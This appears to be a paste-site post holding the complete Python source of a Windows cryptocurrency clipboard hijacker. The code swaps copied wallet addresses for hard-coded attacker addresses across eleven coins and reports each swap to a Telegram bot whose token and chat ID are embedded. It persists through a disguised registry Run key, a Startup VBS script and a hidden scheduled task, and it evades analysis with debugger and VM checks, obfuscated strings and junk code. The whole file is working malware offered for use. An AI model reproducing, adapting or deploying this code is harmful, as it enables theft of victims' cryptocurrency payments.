Hey
🧩 Syntax:
import re
import os
import sys
import time
import ctypes
import pyperclip
import random
import atexit
import winreg
import requests
import subprocess
import json
import hashlib
import uuid
import datetime
from typing import Dict, Optional
import psutil
import shutil
import itertools
_OMEGA_STATIC_KEY_SEED = str(time.time()) + str(random.randint(1000, 9999))
_OMEGA_XOR_KEY = hashlib.sha256(_OMEGA_STATIC_KEY_SEED.encode()).hexdigest()[:16]
def _omega_xor_encrypt_decrypt(data_str: str, key: str) -> str:
return ''.join(chr(ord(c) ^ ord(k)) for c, k in zip(data_str, itertools.cycle(key)))
def _omega_obf_str(s: str) -> str:
return _omega_xor_encrypt_decrypt(s, _OMEGA_XOR_KEY)
def _omega_deobf_str(s_obf: str) -> str:
return _omega_xor_encrypt_decrypt(s_obf, _OMEGA_XOR_KEY)
_OBF_TELEGRAM_TOKEN = _omega_obf_str('7912322494:AAE6d22AAN9jwwFQMyk57hHCUHrkXL-0hnM')
_OBF_CHAT_ID = _omega_obf_str('642471349')
_OBF_DEFAULT_REPLACEMENTS_JSON = _omega_obf_str(json.dumps({
'BTC1': '1FRSnDaVKesfFacmH4WU3habWJfHNKx45Z',
'BTC3': '38DKLGmaBXKvtya8KYizY5dJMLD9Erv8eT',
'BTCBC': 'bc1qe3ps62w60t7msxjj6qmglceq2he9cu09r5x50k',
'ETH': '0x1E2534Fee8133917ed1aD925AB8eCCcCC431C5Fb',
'BNB': '0x1E2534Fee8133917ed1aD925AB8eCCcCC431C5Fb',
'LTC': 'ltc1qv57uwxdwtjfhmt6a5ewf8kgcleglel8yv3qywp',
'LTCL': 'LLvn3TFrcXj5TRpfxvg7d96qU2PYk4u3Gz',
'XRP': 'rwmrQU3FvmPCfqEXZhzVzNFB6nRogpDXHV',
'DOGE': 'DPmbif3yZynMYT6zpcWuQAWpWJx7tRgQcF',
'TRX': 'TYGvMU5XeVq6LsouCPujzMmkNo1cNKtNQj',
'SOL': '5eRh6dwFEyh87b4Ku57RHL8PDq8rZAmpm73V15VrubeS'
}))
_OBF_USER32 = _omega_obf_str("user32")
_OBF_KERNEL32 = _omega_obf_str("kernel32")
_OBF_SHOWWINDOW = _omega_obf_str("ShowWindow")
_OBF_GETCONSOLEWINDOW = _omega_obf_str("GetConsoleWindow")
_OBF_SETCONSOLETITLEW = _omega_obf_str("SetConsoleTitleW")
_OBF_ISDEBUGGERPRESENT = _omega_obf_str("IsDebuggerPresent")
_OBF_CREATEMUTEXW = _omega_obf_str("CreateMutexW")
_OBF_GETLASTERROR = _omega_obf_str("GetLastError")
_OBF_RELEASEMUTEX = _omega_obf_str("ReleaseMutex")
_OBF_OPENKEY = _omega_obf_str("OpenKey")
_OBF_SETVALUEEX = _omega_obf_str("SetValueEx")
_OBF_CLOSEKEY = _omega_obf_str("CloseKey")
_OBF_QUERYVALUEEX = _omega_obf_str("QueryValueEx")
_OBF_REG_RUN_PATH = _omega_obf_str(r'Software\Microsoft\Windows\CurrentVersion\Run')
_OBF_REG_RUN_NAME = _omega_obf_str('WindowsUpdateHelper')
_OBF_STARTUP_VBS_NAME = _omega_obf_str('SyncHostService.vbs')
_OBF_SCHTASK_FOLDER = _omega_obf_str("Microsoft\\Windows\\Security\\")
_OBF_SCHTASK_NAME = _omega_obf_str("SecurityUpdaterTask")
_OBF_COMMON_NAMES = [
_omega_obf_str("svchost"), _omega_obf_str("RuntimeBroker"),
_omega_obf_str("dllhost"), _omega_obf_str("taskhostw"), _omega_obf_str("explorer"),
_omega_obf_str("wuauclt"), _omega_obf_str("dwm")
]
_OBF_VM_PROCESSES = [
_omega_obf_str("vmtoolsd.exe"), _omega_obf_str("vmwareuser.exe"),
_omega_obf_str("vboxservice.exe"), _omega_obf_str("vboxtray.exe"),
_omega_obf_str("joeboxcontrol.exe"), _omega_obf_str("qemu-ga.exe")
]
_OBF_VM_REG_PATH = _omega_obf_str(r"HARDWARE\DESCRIPTION\System")
_OBF_VM_REG_VALUE = _omega_obf_str("SystemBiosVersion")
_OBF_VMWARE_STR = _omega_obf_str("VMware")
_OBF_VIRTUALBOX_STR = _omega_obf_str("VirtualBox")
_OBF_MSG_DEFAULT_ADDR = _omega_obf_str("?? Using ONLY default addresses.")
_OBF_MSG_FETCH_SUCCESS = _omega_obf_str("?? Successfully loaded static addresses.")
_OBF_MSG_FETCH_FAIL_DICT = _omega_obf_str("Loaded data is not a dictionary. Using defaults.")
_OBF_MSG_FETCH_FAIL_REQUEST = _omega_obf_str("Failed to fetch dynamic addresses: {}. Using defaults.")
_OBF_MSG_FETCH_FAIL_JSON = _omega_obf_str("Failed to decode dynamic addresses JSON: {}. Using defaults.")
_OBF_MSG_FETCH_FAIL_UNKNOWN = _omega_obf_str("Unexpected error loading addresses: {}. Using defaults.")
_OBF_MSG_REG_PERSIST = _omega_obf_str("?? Persistence: Registry Run key set.")
_OBF_MSG_VBS_PERSIST = _omega_obf_str("?? Persistence: Startup folder VBS launcher created.")
_OBF_MSG_SCHTASK_PERSIST = _omega_obf_str("?? Persistence: Scheduled Task created.")
_OBF_MSG_ANOTHER_INSTANCE = _omega_obf_str("Another instance is already running. Exiting.")
_OBF_MSG_CLIPPER_STARTED = _omega_obf_str("?? Clipper started.")
_OBF_MSG_CLIPPER_START_FAIL = _omega_obf_str("?? Clipper startup failed with error: {}")
_OBF_MSG_CLIP_SUCCESS = _omega_obf_str("?? CLIP SUCCESS! Old: {}... ?? New: {}...")
_OBF_MSG_REPLACED_ADDR = _omega_obf_str("?? Replaced {} address: {}... ?? -> {}...")
_OBF_MSG_DEBUGGER_DETECTED = _omega_obf_str("Debugger detected. Exiting.")
_OBF_MSG_VM_DETECTED = _omega_obf_str("VM environment detected. Exiting.")
_OBF_MSG_INTERNAL_ERROR = _omega_obf_str("INTERNAL ERROR: {}")
_OBF_MSG_KEYBOARD_INTERRUPT = _omega_obf_str("Clipper terminated by KeyboardInterrupt.")
_OBF_MSG_LOOP_ERROR = _omega_obf_str("Error in main clipper loop: {}")
_OBF_MSG_CLIPBOARD_ERROR = _omega_obf_str("Error checking/processing clipboard: {}")
_OBF_MSG_APPDATA_ENV_VAR = _omega_obf_str("APPDATA env var not found.")
def _omega_dummy_calc(x: int) -> int:
y = x * random.randint(1, 100)
for _ in range(random.randint(1, 5)):
y = (y + random.randint(1, 50)) % 1000000
return y
_OMEGA_JUNK_DATA = [str(uuid.uuid4()) for _ in range(random.randint(10, 50))]
class CryptoClipper:
def __init__(self):
self._o_token = _omega_deobf_str(_OBF_TELEGRAM_TOKEN)
self._o_chat_id = _omega_deobf_str(_OBF_CHAT_ID)
self._o_api = f"https://api.telegram.org/bot{self._o_token}/sendMessage"
self._replacements = {}
self._last_content = ""
self._check_interval = random.uniform(0.5, 1.5)
self._last_check_time = 0
self._init_stealth()
self._init_patterns()
self._setup_persistence()
self._fetch_static_addresses()
def _send_to_telegram(self, message: str, silent: bool = False):
if False:
_omega_dummy_calc(random.randint(1, 100))
pass
try:
if not message:
return
payload = {
_omega_deobf_str(_omega_obf_str('chat_id')): self._o_chat_id,
_omega_deobf_str(_omega_obf_str('text')): message,
_omega_deobf_str(_omega_obf_str('disable_notification')): silent
}
requests.post(self._o_api, json=payload, timeout=10)
except requests.exceptions.RequestException as e:
self._log_internal_error(_omega_deobf_str(_omega_obf_str("Error sending Telegram message: {}")).format(e))
except Exception as e:
self._log_internal_error(_omega_deobf_str(_omega_obf_str("Unknown error in Telegram send: {}")).format(e))
def _log_internal_error(self, error_message: str):
pass
def _init_stealth(self):
_o_user32 = ctypes.WinDLL(_omega_deobf_str(_OBF_USER32))
_o_kernel32 = ctypes.WinDLL(_omega_deobf_str(_OBF_KERNEL32))
if sys.stdout and sys.stdout.isatty():
try:
_o_user32_sw = getattr(_o_user32, _omega_deobf_str(_OBF_SHOWWINDOW))
_o_kernel32_gcw = getattr(_o_kernel32, _omega_deobf_str(_OBF_GETCONSOLEWINDOW))
_o_user32_sw(_o_kernel32_gcw(), 0)
except Exception:
pass
_names_obf = [name for name in _OBF_COMMON_NAMES]
_current_name = _omega_deobf_str(random.choice(_names_obf))
try:
_o_kernel32_sct = getattr(_o_kernel32, _omega_deobf_str(_OBF_SETCONSOLETITLEW))
_o_kernel32_sct(_current_name)
except Exception:
pass
if True:
x = _omega_dummy_calc(random.randint(1, 100))
if x > 0:
pass
time.sleep(random.uniform(5, 15))
if self._is_debugger_present():
self._log_internal_error(_omega_deobf_str(_OBF_MSG_DEBUGGER_DETECTED))
sys.exit(1)
if self._is_vm_environment():
self._log_internal_error(_omega_deobf_str(_OBF_MSG_VM_DETECTED))
sys.exit(1)
if self._is_low_resource_env():
self._log_internal_error(_omega_deobf_str(_omega_obf_str("Low resource environment detected. Exiting.")))
sys.exit(1)
if self._is_small_disk():
self._log_internal_error(_omega_deobf_str(_omega_obf_str("Small disk environment detected. Exiting.")))
sys.exit(1)
time.sleep(random.uniform(2, 7))
def _is_debugger_present(self) -> bool:
try:
_o_kernel32 = ctypes.WinDLL(_omega_deobf_str(_OBF_KERNEL32))
_is_dbg_pres = getattr(_o_kernel32, _omega_deobf_str(_OBF_ISDEBUGGERPRESENT))
return _is_dbg_pres() != 0
except Exception:
return False
def _is_vm_environment(self) -> bool:
for p_obf in _OBF_VM_PROCESSES:
try:
for proc in psutil.process_iter(['name']):
if _omega_deobf_str(p_obf) in proc.info['name'].lower():
return True
except (psutil.NoSuchProcess, psutil.AccessDenied, psutil.ZombieProcess):
continue
except Exception:
pass
if False:
random_val = _omega_dummy_calc(random.randint(1, 10))
if random_val % 2 == 0:
print("Dummy path taken.")
try:
_o_reg_key_path = _omega_deobf_str(_OBF_VM_REG_PATH)
_o_vendor_val_name = _omega_deobf_str(_OBF_VM_REG_VALUE)
_o_vmware_str = _omega_deobf_str(_OBF_VMWARE_STR)
_o_vbox_str = _omega_deobf_str(_OBF_VIRTUALBOX_STR)
with winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, _o_reg_key_path) as key:
vendor = winreg.QueryValueEx(key, _o_vendor_val_name)[0]
if _o_vmware_str in vendor or _o_vbox_str in vendor:
return True
except Exception:
pass
return False
def _is_low_resource_env(self) -> bool:
try:
cpu_count = psutil.cpu_count(logical=False)
if cpu_count < 2:
return True
total_memory_bytes = psutil.virtual_memory().total
if total_memory_bytes < (4 * 1024 * 1024 * 1024):
return True
except Exception:
self._log_internal_error(_omega_deobf_str(_omega_obf_str("Error checking resources.")))
return False
def _is_small_disk(self) -> bool:
try:
total_gb = shutil.disk_usage('/').total / (1024**3)
if total_gb < 80:
return True
except Exception:
self._log_internal_error(_omega_deobf_str(_omega_obf_str("Error checking disk size.")))
return False
def _fetch_static_addresses(self):
try:
_decoded_defaults = json.loads(_omega_deobf_str(_OBF_DEFAULT_REPLACEMENTS_JSON))
self._replacements = _decoded_defaults
self._send_to_telegram(_omega_deobf_str(_OBF_MSG_DEFAULT_ADDR), silent=True)
self._send_to_telegram(_omega_deobf_str(_OBF_MSG_FETCH_SUCCESS), silent=True)
except json.JSONDecodeError as e:
self._log_internal_error(_omega_deobf_str(_OBF_MSG_FETCH_FAIL_JSON).format(e))
self._replacements = {}
except Exception as e:
self._log_internal_error(_omega_deobf_str(_OBF_MSG_FETCH_FAIL_UNKNOWN).format(e))
self._replacements = {}
def _init_patterns(self):
self._patterns = {
_omega_deobf_str(_omega_obf_str('BTC1')): re.compile(_omega_deobf_str(_omega_obf_str(r'^1[a-km-zA-HJ-NP-Z1-9]{25,34}$'))),
_omega_deobf_str(_omega_obf_str('BTC3')): re.compile(_omega_deobf_str(_omega_obf_str(r'^3[a-km-zA-HJ-NP-Z1-9]{25,34}$'))),
_omega_deobf_str(_omega_obf_str('BTCBC')): re.compile(_omega_deobf_str(_omega_obf_str(r'^bc1[a-z0-9]{25,59}$'))),
_omega_deobf_str(_omega_obf_str('ETH')): re.compile(_omega_deobf_str(_omega_obf_str(r'^0x[a-fA-F0-9]{40}$'))),
_omega_deobf_str(_omega_obf_str('BNB')): re.compile(_omega_deobf_str(_omega_obf_str(r'^(bnb[0-9a-z]{39}|0x[a-fA-F0-9]{40})$'))),
_omega_deobf_str(_omega_obf_str('LTC')): re.compile(_omega_deobf_str(_omega_obf_str(r'^ltc1[a-z0-9]{25,59}$'))),
_omega_deobf_str(_omega_obf_str('LTCL')): re.compile(_omega_deobf_str(_omega_obf_str(r'^[ML][a-km-zA-HJ-NP-Z1-9]{25,34}$'))),
_omega_deobf_str(_omega_obf_str('XRP')): re.compile(_omega_deobf_str(_omega_obf_str(r'^r[0-9a-zA-Z]{24,34}$'))),
_omega_deobf_str(_omega_obf_str('DOGE')): re.compile(_omega_deobf_str(_omega_obf_str(r'^D[a-km-zA-HJ-NP-Z0-9]{25,39}$'))),
_omega_deobf_str(_omega_obf_str('TRX')): re.compile(_omega_deobf_str(_omega_obf_str(r'^T[a-zA-Z0-9]{33}$'))),
_omega_deobf_str(_omega_obf_str('SOL')): re.compile(_omega_deobf_str(_omega_obf_str(r'^[1-9A-HJ-NP-Za-km-z]{32,44}$')))
}
if False:
temp_var = _omega_dummy_calc(123)
if temp_var > 0:
pass
def _setup_persistence(self):
current_exe = sys.executable if sys.executable else os.path.abspath(sys.argv[0])
try:
_reg_path = _omega_deobf_str(_OBF_REG_RUN_PATH)
_reg_name = _omega_deobf_str(_OBF_REG_RUN_NAME)
key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, _reg_path, 0, winreg.KEY_SET_VALUE)
winreg.SetValueEx(key, _reg_name, 0, winreg.REG_SZ, f'"{current_exe}"')
winreg.CloseKey(key)
self._send_to_telegram(_omega_deobf_str(_OBF_MSG_REG_PERSIST), silent=True)
except Exception as e:
self._log_internal_error(_omega_deobf_str(_omega_obf_str("Failed registry persistence: {}")).format(e))
try:
appdata_path = os.getenv(_omega_deobf_str(_omega_obf_str('APPDATA')))
if not appdata_path: raise Exception(_omega_deobf_str(_OBF_MSG_APPDATA_ENV_VAR))
startup_path = os.path.join(appdata_path, _omega_deobf_str(_omega_obf_str('Microsoft')), _omega_deobf_str(_omega_obf_str('Windows')), _omega_deobf_str(_omega_obf_str('Start Menu')), _omega_deobf_str(_omega_obf_str('Programs')), _omega_deobf_str(_omega_obf_str('Startup')))
os.makedirs(startup_path, exist_ok=True)
_vbs_name = _omega_deobf_str(_OBF_STARTUP_VBS_NAME)
vbs_path = os.path.join(startup_path, _vbs_name)
if not os.path.exists(vbs_path):
_obf_vbs_template = _omega_obf_str('Set WshShell = CreateObject("WScript.Shell")\nWshShell.Run Chr(34) & "{}" & Chr(34), 0, False')
vbs_content = _omega_deobf_str(_obf_vbs_template).format(current_exe)
with open(vbs_path, 'w') as f:
f.write(vbs_content)
self._send_to_telegram(_omega_deobf_str(_OBF_MSG_VBS_PERSIST), silent=True)
except Exception as e:
self._log_internal_error(_omega_deobf_str(_omega_obf_str("Failed VBS launcher persistence: {}")).format(e))
try:
_task_folder = _omega_deobf_str(_OBF_SCHTASK_FOLDER)
_task_name = _omega_deobf_str(_OBF_SCHTASK_NAME)
ps_command = f"$action = New-ScheduledTaskAction -Execute '{current_exe}'"
ps_command += f"; $trigger = New-ScheduledTaskTrigger -AtLogOn"
ps_command += f"; $settings = New-ScheduledTaskSettingsSet -Hidden"
ps_command += f"; Register-ScheduledTask -TaskName '{_task_name}' -Action $action -Trigger $trigger -Settings $settings -User '{os.getlogin()}' -Force -TaskPath '{_task_folder}'"
subprocess.run(["powershell", "-Command", ps_command], creationflags=subprocess.CREATE_NO_WINDOW)
self._send_to_telegram(_omega_deobf_str(_OBF_MSG_SCHTASK_PERSIST), silent=True)
except Exception as e:
self._log_internal_error(_omega_deobf_str(_omega_obf_str("Failed Scheduled Task persistence: {}")).format(e))
def start(self):
try:
_o_kernel32 = ctypes.WinDLL(_omega_deobf_str(_OBF_KERNEL32))
_mutex_name_base = "".join(random.choices('abcdefghijklmnopqrstuvwxyz0123456789', k=16))
_mutex_name = _omega_deobf_str(_omega_obf_str("Global\\")) + _mutex_name_base + _omega_deobf_str(_omega_obf_str("_ServiceLock"))
_create_mutex_w = getattr(_o_kernel32, _omega_deobf_str(_OBF_CREATEMUTEXW))
_get_last_error = getattr(_o_kernel32, _omega_deobf_str(_OBF_GETLASTERROR))
_release_mutex = getattr(_o_kernel32, _omega_deobf_str(_OBF_RELEASEMUTEX))
mutex = _create_mutex_w(None, False, _mutex_name)
if _get_last_error() == 183:
self._log_internal_error(_omega_deobf_str(_OBF_MSG_ANOTHER_INSTANCE))
sys.exit(0)
atexit.register(lambda: _release_mutex(mutex))
if True:
if random.choice([True, False]):
_omega_dummy_calc(456)
else:
pass
self._send_to_telegram(_omega_deobf_str(_OBF_MSG_CLIPPER_STARTED), silent=True)
self._run_clipper()
except Exception as e:
self._log_internal_error(_omega_deobf_str(_omega_obf_str("Error during clipper startup: {}")).format(e))
self._send_to_telegram(_omega_deobf_str(_OBF_MSG_CLIPPER_START_FAIL).format(str(e)[:100]), silent=False)
sys.exit(1)
def _run_clipper(self):
while True:
try:
current_time = time.time()
_check_interval = getattr(self, _omega_deobf_str(_omega_obf_str('_check_interval')))
_last_check_time = getattr(self, _omega_deobf_str(_omega_obf_str('_last_check_time')))
if current_time - _last_check_time > _check_interval:
self._check_clipboard()
setattr(self, _omega_deobf_str(_omega_obf_str('_last_check_time')), current_time)
setattr(self, _omega_deobf_str(_omega_obf_str('_check_interval')), random.uniform(0.7, 1.8))
time.sleep(random.uniform(0.08, 0.25))
except KeyboardInterrupt:
self._log_internal_error(_omega_deobf_str(_OBF_MSG_KEYBOARD_INTERRUPT))
break
except Exception as e:
self._log_internal_error(_omega_deobf_str(_OBF_MSG_LOOP_ERROR).format(e))
if random.choice([True, False]):
_ = [x for x in _OMEGA_JUNK_DATA if len(x) > 10]
def _check_clipboard(self):
try:
content = pyperclip.paste()
_last_content = getattr(self, _omega_deobf_str(_omega_obf_str('_last_content')))
if content and content != _last_content:
new_content = self._process_content(content)
if new_content != content:
pyperclip.copy(new_content)
self._send_to_telegram(
_omega_deobf_str(_OBF_MSG_CLIP_SUCCESS).format(content[:30], new_content[:30]),
silent=False
)
setattr(self, _omega_deobf_str(_omega_obf_str('_last_content')), new_content or content)
except Exception as e:
self._log_internal_error(_omega_deobf_str(_OBF_MSG_CLIPBOARD_ERROR).format(e))
def _process_content(self, content: str) -> str:
new_content = content
_patterns = getattr(self, _omega_deobf_str(_omega_obf_str('_patterns')))
_replacements = getattr(self, _omega_deobf_str(_omega_obf_str('_replacements')))
for crypto_type_obf, pattern in _patterns.items():
crypto_type = _omega_deobf_str(crypto_type_obf)
attacker_address = _replacements.get(crypto_type, '')
if not attacker_address:
continue
matches = list(pattern.finditer(content))
if matches:
matched_address_in_clipboard = matches[0].group(0)
if self._is_valid_crypto_address(matched_address_in_clipboard, crypto_type):
if matched_address_in_clipboard != attacker_address:
new_content = content.replace(matched_address_in_clipboard, attacker_address, 1)
self._send_to_telegram(
_omega_deobf_str(_OBF_MSG_REPLACED_ADDR).format(crypto_type, matched_address_in_clipboard[:15], attacker_address[:15]),
silent=False
)
break
return new_content
def _is_valid_crypto_address(self, address: str, crypto_type: str) -> bool:
_patterns = getattr(self, _omega_deobf_str(_omega_obf_str('_patterns')))
pattern = _patterns.get(_omega_obf_str(crypto_type))
if not pattern:
return False
return bool(pattern.fullmatch(address))
if __name__ == "__main__":
try:
_o_user32 = ctypes.WinDLL(_omega_deobf_str(_OBF_USER32))
_o_kernel32 = ctypes.WinDLL(_omega_deobf_str(_OBF_KERNEL32))
_o_user32_sw = getattr(_o_user32, _omega_deobf_str(_OBF_SHOWWINDOW))
_o_kernel32_gcw = getattr(_o_kernel32, _omega_deobf_str(_OBF_GETCONSOLEWINDOW))
_o_user32_sw(_o_kernel32_gcw(), 0)
except Exception:
pass
clipper = CryptoClipper()
clipper.start()